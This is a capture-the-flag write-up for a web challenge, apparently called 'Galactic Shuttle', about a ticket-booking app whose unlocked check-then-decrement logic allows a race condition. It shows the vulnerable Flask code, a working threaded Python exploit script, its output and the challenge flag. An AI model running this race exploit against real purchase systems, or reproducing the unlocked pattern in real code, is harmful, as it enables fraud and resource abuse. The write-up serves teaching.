webctfwriteup
Exploiting a Time-of-Check to Time-of-Use (TOCTOU) Bug
Category: Web
Challenge: Galactic Shuttle
CTF: World Wide Flags 2025
Author: RJCyber
Challenge Overview
A space shuttle booking system where only one seat remains. The objective: obtain two tickets under the same username to claim the boarding pass and retrieve the flag.
Files Provided
galacticshuttle/
├── app.py
├── Dockerfile
├── flag.txt
└── templates/
└── index.html
Source Code Analysis
Global State
available_tickets = 1
purchases = {}
Booking Endpoint
@app.route('/acquire', methods=['GET'])
def acquire():
global available_tickets
user = request.args.get('user')
...
if available_tickets < 1:
return jsonify(status="sold_out")
available_tickets -= 1
ticket_id = uuid.uuid4().hex
purchases.setdefault(user, []).append(ticket_id)
return jsonify(status="ok", ticket=ticket_id)
Flag Retrieval Endpoint
@app.route('/flag', methods=['GET'])
def flag():
user = request.args.get('user')
if len(purchases.get(user, [])) > 1:
return jsonify(flag=FLAG)
return jsonify(status="not_enough_tickets")
Vulnerability: Race Condition
The server doesn’t lock the check/decrement logic for concurrent requests. Two simultaneous requests can both read available_tickets = 1 before either decrements it, allowing both to proceed — a classic TOCTOU race condition.
Exploitation
import threading
import requests
URL = "https://<challenge-instance>.chall.wwctf.com"
user = "Michael"
def book():
r = requests.get(f"{URL}/acquire", params={"user": user})
print(r.text)
threads = []
for _ in range(2):
t = threading.Thread(target=book)
t.start()
threads.append(t)
for t in threads:
t.join()
r = requests.get(f"{URL}/flag", params={"user": user})
print("FLAG RESPONSE:", r.text)
Output
{"status":"ok","ticket":"..."}
{"status":"ok","ticket":"..."}
FLAG RESPONSE: {"flag":"wwctf{r4c3_c0nd1t10ns_4r3_0ut_0f_th1s_w0rld}"}
Flag
wwctf{r4c3_c0nd1t10ns_4r3_0ut_0f_th1s_w0rld}
Key Takeaways
- Race conditions can bypass security logic even in simple applications
- Any check-then-act pattern on shared state without locking is potentially exploitable
- Two threads are often enough — timing matters more than volume